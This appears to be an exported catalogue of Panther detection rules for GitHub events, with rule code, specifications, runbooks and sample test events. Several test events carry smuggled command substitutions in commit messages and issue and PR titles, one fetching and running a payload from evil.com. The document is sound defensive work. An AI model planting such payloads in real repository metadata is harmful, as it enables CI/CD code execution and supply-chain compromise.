def _analyze_commit(commit):
"""Analyze a single commit for malicious patterns."""
analysis = {
"commit_id": commit.get("id"),
"message": commit.get("message"),
"author": commit.get("author", {}).get("name"),
"author_email": commit.get("author", {}).get("email"),
"timestamp": commit.get("timestamp"),
"url": commit.get("url"),
"has_malicious_patterns": False,
"field_analysis": {},
}
# Check message
if message := commit.get("message"):
patterns = get_matched_bash_patterns(message)
if patterns:
analysis["has_malicious_patterns"] = True
analysis["field_analysis"]["message"] = {
"value": message,
"matched_patterns": patterns,
}
# Check author email
if author_email := commit.get("author", {}).get("email"):
patterns = get_matched_bash_patterns(author_email)
if patterns:
analysis["has_malicious_patterns"] = True
analysis["field_analysis"]["author_email"] = {
"value": author_email,
"matched_patterns": patterns,
}
# Check author name
if author_name := commit.get("author", {}).get("name"):
patterns = get_matched_bash_patterns(author_name)
if patterns:
analysis["has_malicious_patterns"] = True
analysis["field_analysis"]["author_name"] = {
"value": author_name,
"matched_patterns": patterns,
}
return analysis
def reference(event):
# Try to get the compare URL
if compare_url := event.get("compare"):
return compare_url
# Try head commit URL
if head_commit_url := event.deep_get("head_commit", "url"):
return head_commit_url
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
Rule specification
AnalysisType: rule
Filename: github_malicious_commit_content.py
RuleID: "GitHub.Webhook.MaliciousCommitContent"
DisplayName: "GitHub Malicious Commit Content"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0003:T1098 # Persistence: Account Manipulation
Tags:
- Code Injection
- Supply Chain
- Account Compromise
Severity: High
Description: >
Detects malicious patterns in GitHub commit content including commit messages, author names,
and author emails. These fields can contain injection payloads that may be executed by
vulnerable CI/CD workflows or git hooks. This rule is particularly important as commit metadata
is often trusted and may be processed unsafely. Based on patterns from the Nx vulnerability
(GHSA-cxm3-wv7p-598c).
Runbook: |
1. Immediately investigate the commits identified with malicious patterns
2. Check if the author account may be compromised
3. Review all workflows and git hooks that process commit messages or author information
4. Look for signs of code execution in CI/CD logs
5. Revert malicious commits if confirmed
6. Reset credentials if the author account is compromised
7. Review repository access logs for suspicious activity
8. Consider temporarily disabling vulnerable workflows
9. Implement input sanitization for commit metadata processing
10. Contact the repository owner and security team
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Stages and Predicates
Fires on GitHub.Webhook events when any of the conditions below holds.
Condition
any of:
commitsis presenthead_commitis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
commits | is_not_null | field:"commits" kind:is_not_null | |
head_commit | is_not_null | field:"head_commit" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
full_name | repository.full_name |
ref |
Response runbook
1. Immediately investigate the commits identified with malicious patterns
2. Check if the author account may be compromised
3. Review all workflows and git hooks that process commit messages or author information
4. Look for signs of code execution in CI/CD logs
5. Revert malicious commits if confirmed
6. Reset credentials if the author account is compromised
7. Review repository access logs for suspicious activity
8. Consider temporarily disabling vulnerable workflows
9. Implement input sanitization for commit metadata processing
10. Contact the repository owner and security team
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"after": "def456",
"before": "abc123",
"commits": [
{
"author": {
"email": "peregrin@lotr.com",
"name": "developer"
},
"id": "def456",
"message": "Fix bug $(curl evil.com/payload | bash)",
"timestamp": "2024-01-15T10:30:00Z",
"url": "https://github.com/org/repo/commit/def456"
}
],
"head_commit": {
"author": {
"email": "peregrin@lotr.com",
"name": "developer"
},
"id": "def456",
"message": "Fix bug $(curl evil.com/payload | bash)"
},
"p_log_type": "GitHub.Webhook",
"pusher": {
"name": "developer"
},
"ref": "refs/heads/main",
"repository": {
"full_name": "org/repo",
"name": "repo"
}
}
GitHub Malicious Issue/Pages Content
#Detects malicious patterns in GitHub issue content (title and body) and GitHub wiki pages (page names) that could indicate bash injection attempts. This rule detects command substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c). Covers both issue events and Gollum (wiki) events.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Malicious Comment/Review Content (Panther)
- GitHub Malicious Pull Request Content (Panther)
Detection logic
from panther_github_helpers import (
contains_bash_injection_pattern,
get_matched_bash_patterns,
github_reference_url,
github_webhook_alert_context,
)
def rule(event):
# Check if this is an issue event (opened or edited) and that it's open
is_issue_event = (
event.get("issue")
and event.get("action") in ["opened", "edited"]
and event.deep_get("issue", "state") == "open"
)
# Check if this is a pages/wiki event (Gollum event)
has_pages = event.get("pages")
if not is_issue_event and not has_pages:
return False
# Check issue fields if this is an issue event
if is_issue_event:
fields_to_check = [
event.deep_get("issue", "title"),
event.deep_get("issue", "body"),
]
for field in fields_to_check:
if contains_bash_injection_pattern(field):
return True
# Check pages (for GitHub wiki/Gollum events)
for page in event.get("pages", []):
if contains_bash_injection_pattern(page.get("page_name")):
return True
return False
def title(event):
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
# If this is an issue event
if event.get("issue"):
issue_number = event.deep_get("issue", "number", default="<UNKNOWN_ISSUE_NUMBER>")
user = event.deep_get("issue", "user", "login", default="<UNKNOWN_USER>")
return (
f"Malicious pattern detected in issue #{issue_number} in {repo_name} by user [{user}]"
)
# If this is a pages/wiki event
if event.get("pages"):
return f"Malicious pattern detected in wiki page in {repo_name}"
return f"Malicious pattern detected in {repo_name}"
def alert_context(event):
context = github_webhook_alert_context(event)
# Analyze patterns found in issue fields if this is an issue event
if event.get("issue"):
issue_fields = {
"title": event.deep_get("issue", "title"),
"body": event.deep_get("issue", "body"),
}
context["field_analysis"] = {}
for field_name, field_value in issue_fields.items():
patterns = get_matched_bash_patterns(field_value)
if patterns:
context["field_analysis"][field_name] = {
"value": field_value,
"matched_patterns": patterns,
}
# Add issue details
issue = event.get("issue", {})
context["issue"] = {
"number": issue.get("number"),
"title": issue.get("title"),
"state": issue.get("state"),
"user": issue.get("user", {}).get("login"),
"html_url": issue.get("html_url"),
"created_at": issue.get("created_at"),
"updated_at": issue.get("updated_at"),
}
# Analyze pages (for wiki/Gollum events)
context["malicious_pages"] = []
for page in event.get("pages", []):
if page_name := page.get("page_name"):
patterns = get_matched_bash_patterns(page_name)
if patterns:
context["malicious_pages"].append(
{
"page_name": page_name,
"action": page.get("action"),
"title": page.get("title"),
"html_url": page.get("html_url"),
"matched_patterns": patterns,
}
)
return context
def reference(event):
# Try to get the issue URL
issue_url = event.deep_get("issue", "html_url")
if issue_url:
return issue_url
# Try to get a page URL if this is a pages/wiki event
if pages := event.get("pages"):
if pages and len(pages) > 0 and pages[0].get("html_url"):
return pages[0].get("html_url")
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
Rule specification
AnalysisType: rule
Filename: github_malicious_issue_pages.py
RuleID: "GitHub.Webhook.MaliciousIssuePagesContent"
DisplayName: "GitHub Malicious Issue/Pages Content"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
Tags:
- Code Injection
- Supply Chain
- Social Engineering
Severity: Medium
Description: >
Detects malicious patterns in GitHub issue content (title and body) and GitHub wiki pages (page names)
that could indicate bash injection attempts. This rule detects command substitution patterns similar
to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c). Covers both issue events and Gollum
(wiki) events.
Runbook: |
1. Review the issue or wiki page content for malicious patterns
2. For issues: Check the issue author's profile and activity history
3. For wiki pages: Check the page author and page edit history
4. Determine if the content is legitimate or malicious
5. Close and lock the issue if it's malicious, or revert wiki page edits
6. Report the user if they appear to be intentionally posting malicious content
7. Review recent activity from the same user in other repositories
8. Consider blocking the user from the repository/organization
9. Review CI/CD workflows that may process issue or wiki content
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
any of:
all of:
issueis presentactionis one ofopened,editedissue.stateisopen
pagesis present
issueis presentactionis one ofopened,editedissue.stateisopen
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
action | in | edited, opened | excludes:action field:"action" value:"edited" field:"action" value:"opened" |
issue | is_not_null | excludes:issue | |
issue.state | eq | open | excludes:issue.state field:"issue.state" value:"open" |
pages | is_null | excludes:pages |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
issue | is_not_null | field:"issue" kind:is_not_null | |
issue.state | eq |
| field:"issue.state" kind:eq value:"open" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
number | issue.number |
full_name | repository.full_name |
login | issue.user.login |
Response runbook
1. Review the issue or wiki page content for malicious patterns
2. For issues: Check the issue author's profile and activity history
3. For wiki pages: Check the page author and page edit history
4. Determine if the content is legitimate or malicious
5. Close and lock the issue if it's malicious, or revert wiki page edits
6. Report the user if they appear to be intentionally posting malicious content
7. Review recent activity from the same user in other repositories
8. Consider blocking the user from the repository/organization
9. Review CI/CD workflows that may process issue or wiki content
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "opened",
"issue": {
"body": "I found a bug in the application",
"created_at": "2024-01-15T10:30:00Z",
"html_url": "https://github.com/target-org/repo/issues/123",
"number": 123,
"state": "open",
"title": "Bug report $(echo 'malicious command')",
"user": {
"id": 12345,
"login": "suspicious-user",
"type": "User"
}
},
"p_log_type": "GitHub.Webhook",
"repository": {
"full_name": "target-org/repo",
"name": "repo",
"private": false
},
"sender": {
"login": "suspicious-user",
"type": "User"
}
}
GitHub Malicious Pull Request Content
#Detects malicious patterns in GitHub pull request content (title, body, head ref, head label, default branch) that could indicate bash injection attempts or other malicious activity. This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where PR titles contained bash injection payloads that could be executed by vulnerable CI workflows. Lower severity for PRs that are not cross-fork.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Malicious Comment/Review Content (Panther)
- GitHub Malicious Issue/Pages Content (Panther)
Detection logic
from panther_github_helpers import (
contains_bash_injection_pattern,
get_matched_bash_patterns,
github_reference_url,
github_webhook_alert_context,
is_cross_fork_pr,
is_pull_request_event,
)
def rule(event):
if not is_pull_request_event(event) or event.deep_get("action") != "opened":
return False
# Check all untrusted PR-related inputs
fields_to_check = [
event.deep_get("pull_request", "title"),
event.deep_get("pull_request", "body"),
event.deep_get("pull_request", "head", "ref"),
event.deep_get("pull_request", "head", "label"),
event.deep_get("pull_request", "head", "repo", "default_branch"),
]
for field in fields_to_check:
if contains_bash_injection_pattern(field):
return True
return False
def title(event):
pr_number = event.deep_get("pull_request", "number", default="<UNKNOWN>")
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
action = event.get("action", "<UNKNOWN_ACTION>")
return f"Malicious pattern detected in PR #{pr_number} in {repo_name} ({action})"
def alert_context(event):
context = github_webhook_alert_context(event)
# Analyze patterns found in all PR fields
pr_fields = {
"title": event.deep_get("pull_request", "title"),
"body": event.deep_get("pull_request", "body"),
"head_ref": event.deep_get("pull_request", "head", "ref"),
"head_label": event.deep_get("pull_request", "head", "label"),
"head_repo_default_branch": event.deep_get(
"pull_request", "head", "repo", "default_branch"
),
}
context["field_analysis"] = {}
for field_name, field_value in pr_fields.items():
patterns = get_matched_bash_patterns(field_value)
if patterns:
context["field_analysis"][field_name] = {
"value": field_value,
"matched_patterns": patterns,
}
return context
def reference(event):
if reference_url := github_reference_url(event):
return reference_url
return "DEFAULT"
def severity(event):
if is_cross_fork_pr(event):
return "DEFAULT"
return "LOW"
Rule specification
AnalysisType: rule
Filename: github_malicious_pr_titles.py
RuleID: "GitHub.Webhook.MaliciousPRTitles"
DisplayName: "GitHub Malicious Pull Request Content"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
Tags:
- Code Injection
- Supply Chain
Severity: High
Description: >
Detects malicious patterns in GitHub pull request content (title, body, head ref, head label,
default branch) that could indicate bash injection attempts or other malicious activity.
This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where
PR titles contained bash injection payloads that could be executed by vulnerable CI workflows.
Lower severity for PRs that are not cross-fork.
Runbook: |
1. Immediately review the pull request content and metadata for malicious patterns
2. Check if the repository has workflows that process PR titles or descriptions unsafely
3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs
4. Review recent workflow runs for signs of code execution or compromise
5. Check for any unusual repository activity or file modifications
6. Consider temporarily disabling vulnerable workflows until they can be secured
7. Implement input sanitization and use pull_request instead of pull_request_target
8. Report suspected supply chain attacks to security team
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
actionis one ofopened,synchronize,reopened,closed,assignedpull_requestis presentactionisopened
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
action | in | assigned, closed, converted_to_draft, edited, labeled, opened, ready_for_review, reopened, synchronize, unassigned, unlabeled | excludes:action |
pull_request | is_not_null | excludes:pull_request | |
action | ne | opened | excludes:action field:"action" value:"opened" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"opened" |
action | in |
| field:"action" kind:in |
pull_request | is_not_null | field:"pull_request" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
number | pull_request.number |
full_name | repository.full_name |
Response runbook
1. Immediately review the pull request content and metadata for malicious patterns
2. Check if the repository has workflows that process PR titles or descriptions unsafely
3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs
4. Review recent workflow runs for signs of code execution or compromise
5. Check for any unusual repository activity or file modifications
6. Consider temporarily disabling vulnerable workflows until they can be secured
7. Implement input sanitization and use pull_request instead of pull_request_target
8. Report suspected supply chain attacks to security team
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "opened",
"number": 123,
"p_log_type": "GitHub.Webhook",
"pull_request": {
"base": {
"ref": "main",
"repo": {
"fork": false,
"full_name": "target-org/main-repo"
},
"sha": "def456abc123"
},
"body": "This PR fixes the build configuration",
"created_at": "2024-01-15T10:30:00Z",
"draft": false,
"head": {
"ref": "fix-build",
"repo": {
"fork": true,
"full_name": "malicious-user/forked-repo"
},
"sha": "abc123def456"
},
"html_url": "https://github.com/target-org/main-repo/pull/123",
"id": 789456123,
"number": 123,
"state": "open",
"title": "Fix build issue $(echo 'You have been compromised')",
"user": {
"id": 12345,
"login": "malicious-user",
"type": "User"
}
},
"repository": {
"fork": false,
"full_name": "target-org/main-repo",
"name": "main-repo",
"private": false
},
"sender": {
"login": "malicious-user",
"type": "User"
}
}
GitHub Org Authentication Method Changed
#Detects critical changes to GitHub organization authentication settings including SAML SSO, 2FA requirements, SAML provider configuration, and OAuth restrictions. These foundational security controls protect entire organizations, and unauthorized modifications can enable attackers to bypass identity management, maintain persistence, or prepare for data exfiltration. Legitimate changes are rare and should be well-documented with proper authorization.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
- GitHub Enterprise Disable 2FA Requirement (Splunk)
- Github High Risk Configuration Disabled (Sigma)
- GitHub OAuth Application Access Restrictions Disabled (YARA-L)
- GitHub Organizations Disable 2FA Requirement (Splunk)
- GitHub SSO Configuration Modified (YARA-L)
- GitHub Two Factor Auth Disable (Kusto)
- GitHub Two-Factor Authentication Requirement Disabled (YARA-L)
- NRT GitHub Two Factor Auth Disable (Kusto)
Detection logic
AUTH_CHANGE_EVENTS = [
"org.saml_disabled",
"org.saml_enabled",
"org.disable_two_factor_requirement",
"org.enable_two_factor_requirement",
"org.update_saml_provider_settings",
"org.enable_oauth_app_restrictions",
"org.disable_oauth_app_restrictions",
]
def rule(event):
if not event.get("action").startswith("org."):
return False
return event.get("action") in AUTH_CHANGE_EVENTS
def title(event):
return f"GitHub auth configuration was changed by {event.get('actor', '<UNKNOWN USER>')}"
Rule specification
AnalysisType: rule
Filename: github_org_auth_modified.py
RuleID: "GitHub.Org.AuthChange"
DisplayName: "GitHub Org Authentication Method Changed"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Persistence
- Account Manipulation
- Identity and Access Management
- Security Configuration
- Privilege Escalation
- Defense Evasion
- Organization Security
Reports:
MITRE ATT&CK:
- TA0003:T1098
Severity: Critical
SummaryAttributes:
- actor
- action
Description: >
Detects critical changes to GitHub organization authentication settings including SAML SSO, 2FA requirements, SAML provider configuration, and OAuth restrictions. These foundational security controls protect entire organizations, and unauthorized modifications can enable attackers to bypass identity management, maintain persistence, or prepare for data exfiltration. Legitimate changes are rare and should be well-documented with proper authorization.
Runbook: |
1. Query GitHub audit logs for all actions by the actor in the 48 hours around this authentication change to identify other suspicious activities such as adding organization members, creating personal access tokens, modifying repository permissions, or accessing private repositories
2. Review the organization membership changes, team permission modifications, and repository access grants in the 6 hours around this event to determine if the actor used elevated access to establish additional persistence mechanisms
3. Check GitHub audit logs for authentication failures, suspicious login locations, or unusual access patterns from the actor's account in the 7 days before this change that might indicate account compromise
Reference: https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/about-authentication-to-github
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionstarts withorg.actionis one oforg.saml_disabled,org.saml_enabled,org.disable_two_factor_requirement,org.enable_two_factor_requirement,org.update_saml_provider_settings
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
action | starts_with |
| field:"action" kind:starts_with value:"org." |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor |
Response runbook
1. Query GitHub audit logs for all actions by the actor in the 48 hours around this authentication change to identify other suspicious activities such as adding organization members, creating personal access tokens, modifying repository permissions, or accessing private repositories
2. Review the organization membership changes, team permission modifications, and repository access grants in the 6 hours around this event to determine if the actor used elevated access to establish additional persistence mechanisms
3. Check GitHub audit logs for authentication failures, suspicious login locations, or unusual access patterns from the actor's account in the 7 days before this change that might indicate account compromise
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "org.saml_disabled",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub Org IP Allow List modified
#Detects changes to a GitHub Org IP Allow List
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
Detection logic
ALLOWLIST_ACTIONS = [
"ip_allow_list.enable",
"ip_allow_list.disable",
"ip_allow_list.enable_for_installed_apps",
"ip_allow_list.disable_for_installed_apps",
"ip_allow_list_entry.create",
"ip_allow_list_entry.update",
"ip_allow_list_entry.destroy",
]
def rule(event):
return (
event.get("action").startswith("ip_allow_list") and event.get("action") in ALLOWLIST_ACTIONS
)
def title(event):
return f"GitHub Org IP Allow list modified by {event.get('actor')}."
Rule specification
AnalysisType: rule
Filename: github_org_ip_allowlist.py
RuleID: "GitHub.Org.IpAllowlist"
DisplayName: "GitHub Org IP Allow List modified"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Persistence:Account Manipulation
Reports:
MITRE ATT&CK:
- TA0003:T1098
Severity: Medium
SummaryAttributes:
- actor
- action
Description: Detects changes to a GitHub Org IP Allow List
Runbook: Verify that the change was authorized and appropriate.
Reference: https://docs.github.com/en/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionstarts withip_allow_listactionis one ofip_allow_list.enable,ip_allow_list.disable,ip_allow_list.enable_for_installed_apps,ip_allow_list.disable_for_installed_apps,ip_allow_list_entry.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
action | starts_with |
| field:"action" kind:starts_with value:"ip_allow_list" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor |
Response runbook
Verify that the change was authorized and appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "ip_allow_list_entry.create",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit"
}
Github Organization App Integration Installed
#An application integration was installed to your organization's Github account by someone in your organization.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action integration_installation.create: GitHub App installed |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Application Installed (YARA-L)
- New GitHub App Installed (Elastic)
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
# Return True to match the log event and trigger an alert.
# Creates a new alert if the event's action was ""
return event.get("action") == "integration_installation.create"
def title(event):
# (Optional) Return a string which will be shown as the alert title.
# If no 'dedup' function is defined, the return value of this method
# will act as deduplication string.
return (
f" Github User [{event.get('actor',{})}] in [{event.get('org')}] "
f"installed the following integration: [{event.get('name')}]."
)
# def dedup(event):
# (Optional) Return a string which will be used to deduplicate similar alerts.
# return ''
def alert_context(event):
# (Optional) Return a dictionary with additional data to be included in the
# alert sent to the SNS/SQS/Webhook destination
return github_alert_context(event)
Rule specification
AnalysisType: rule
Description: An application integration was installed to your organization's Github account by someone in your organization.
DisplayName: "Github Organization App Integration Installed"
Enabled: true
Filename: github_organization_app_integration_installed.py
Reference: https://docs.github.com/en/enterprise-server@3.4/developers/apps/managing-github-apps/installing-github-apps
Runbook: Confirm that the app integration installation was a desired behavior.
Severity: Low
Tags:
- Application Installation
- Github
DedupPeriodMinutes: 60
LogTypes:
- GitHub.Audit
RuleID: "Github.Organization.App.Integration.Installed"
SummaryAttributes:
- actor
- name
Threshold: 1
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisintegration_installation.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"integration_installation.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
name |
Response runbook
Confirm that the app integration installation was a desired behavior.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "A-2345",
"action": "integration_installation.create",
"actor": "user_name",
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2022-12-11 05:28:05.542",
"created_at": "2022-12-11 05:28:05.542",
"name": "Microsoft Teams for GitHub",
"org": "your-organization",
"p_any_usernames": [
"user_name"
]
}
Github Public Repository Created
#A public Github repository was created.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action repo.create: Repository created |
Rules detecting the same action
These rules filter on the same operation.
- GitHub - Repository was created (Kusto)
- GitHub Repo Created (Elastic)
- GitHub Repository Created (Panther)
- NX Supply Chain - S1ngularity Repository Detection (Panther)
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
# Return True if a public repository was created
return event.get("action", "") == "repo.create" and event.get("visibility", "") == "public"
def title(event):
# (Optional) Return a string which will be shown as the alert title.
# If no 'dedup' function is defined, the return value of this method
# will act as deduplication string.
return (
f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] "
f"created with public status by Github user [{event.get('actor')}]."
)
# def dedup(event):
# (Optional) Return a string which will be used to deduplicate similar alerts.
# return ''
def alert_context(event):
# (Optional) Return a dictionary with additional data to be included in the alert
# sent to the SNS/SQS/Webhook destination
return github_alert_context(event)
Rule specification
AnalysisType: rule
Description: A public Github repository was created.
DisplayName: "Github Public Repository Created"
Enabled: true
Filename: github_public_repository_created.py
Runbook: Confirm this github repository was intended to be created as 'public' versus 'private'.
Reference: https://docs.github.com/en/get-started/quickstart/create-a-repo
Severity: Medium
Tags:
- Github Repository
- Public
- Repository Created
DedupPeriodMinutes: 60
LogTypes:
- GitHub.Audit
RuleID: "Github.Public.Repository.Created"
SummaryAttributes:
- actor
- repository
- visibility
Threshold: 1
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionisrepo.createvisibilityispublic
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"repo.create" |
visibility | eq |
| field:"visibility" kind:eq value:"public" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Response runbook
Confirm this github repository was intended to be created as 'public' versus 'private'.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "abCD",
"action": "repo.create",
"actor": "example-actor",
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2022-12-11 22:40:20.268",
"created_at": "2022-12-11 22:40:20.268",
"org": "example-io",
"repo": "example-io/oops",
"visibility": "public"
}
GitHub pull_request_target Workflow on Self-Hosted Runner
#Detects when a pull_request_target workflow runs on a self-hosted runner. pull_request_target workflows run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks. When these workflows run on self-hosted runners attackers can gain direct code execution on the underlying infrastructure with potential access to internal network, databases, and systems. Unlike GitHub-hosted runners which are destroyed after each job, self-hosted runners persist and can be permanently compromised. This pattern is high risk regardless of whether the PR is cross-fork or same-repository because self-hosted runners represent infrastructure access. GitHub explicitly warns never to use self-hosted runners with public repositories or workflows that can be triggered by untrusted contributors. This configuration allows any GitHub user with read access to your repository to execute arbitrary code on your infrastructure.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution | |
| Privilege Escalation | |
| Lateral Movement |
Rule specification
AnalysisType: correlation_rule
RuleID: "GitHub.PullRequestTarget.WITH.SelfHostedRunner"
DisplayName: "GitHub pull_request_target Workflow on Self-Hosted Runner"
Enabled: false
Severity: High
Tags:
- CI/CD
- Workflow
- Supply Chain
- Self-Hosted
- Infrastructure Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
- TA0008:T1021 # Lateral Movement: Remote Services
- TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Description: >
Detects when a pull_request_target workflow runs on a self-hosted runner. pull_request_target workflows
run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks.
When these workflows run on self-hosted runners attackers can gain direct code execution on the underlying infrastructure
with potential access to internal network, databases, and systems. Unlike GitHub-hosted runners which are destroyed after each job,
self-hosted runners persist and can be permanently compromised. This pattern is high risk regardless of whether the PR
is cross-fork or same-repository because self-hosted runners represent infrastructure access.
GitHub explicitly warns never to use self-hosted runners with public repositories or workflows
that can be triggered by untrusted contributors. This configuration allows any GitHub user with
read access to your repository to execute arbitrary code on your infrastructure.
Runbook: |
1. Stop the self-hosted runner:
- SSH/access the runner system
- Stop the runner service or unregister the runner
2. Isolate the runner from network:
- Block outbound connections via firewall
- Disconnect from internal network if possible
3. Review the workflow:
- Disable or delete the workflow file that uses pull_request_target + self-hosted
- Or modify to use "runs-on: ubuntu-latest"
4. Check runner system for compromise:
- Review auth logs for unauthorized access
- Check network connections: netstat -tunap | grep ESTABLISHED
- Look for persistence mechanisms (cron, systemd, rc.local)
- Check for suspicious processes or files
- Review bash history for malicious commands
5. Review recent workflow runs:
- Check all workflows that ran on this runner in past 7 days
- Look for other suspicious activity
- Identify if compromise occurred in previous runs
6. Search for indicators of compromise:
- Outbound connections to suspicious IPs/domains
- New user accounts or SSH keys on runner system
- Modified system files or configurations
- Cryptocurrency miners or backdoors
- Data staging areas or compressed archives
Reference: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners
Detection:
- Group:
- ID: PullRequestTarget
RuleID: GitHub.Webhook.PullRequestTargetUsage
- ID: SelfHostedRunner
RuleID: GitHub.Webhook.SelfHostedRunnerUsed
MatchCriteria:
field_name:
- GroupID: PullRequestTarget
Match: workflow_run.id
- GroupID: SelfHostedRunner
Match: workflow_job.run_id
EventEvaluationOrder: Chronological
LookbackWindowMinutes: 1800
Schedule:
RateMinutes: 1440
TimeoutMinutes: 10
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.
Stage 1: step PullRequestTarget
References detection GitHub pull_request_target Workflow Usage.
Stage 2: step SelfHostedRunner
References detection GitHub Workflow Using Self-Hosted Runner.
Response runbook
1. Stop the self-hosted runner:
- SSH/access the runner system
- Stop the runner service or unregister the runner
2. Isolate the runner from network:
- Block outbound connections via firewall
- Disconnect from internal network if possible
3. Review the workflow:
